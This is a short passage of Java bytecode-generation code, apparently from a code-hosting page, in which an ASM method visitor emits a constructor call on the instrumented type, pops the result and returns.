methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL,
|
||||||
|
implementationContext.getInstrumentedType().getInternalName(),
|
||||||
|
"<init>",
|
||||||
|
"()V",
|
||||||
|
false);
|
||||||
|
methodVisitor.visitInsn(Opcodes.POP);
|
||||||
|
methodVisitor.visitInsn(Opcodes.RETURN);
|
||||||
|
return new Size(2, 2);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user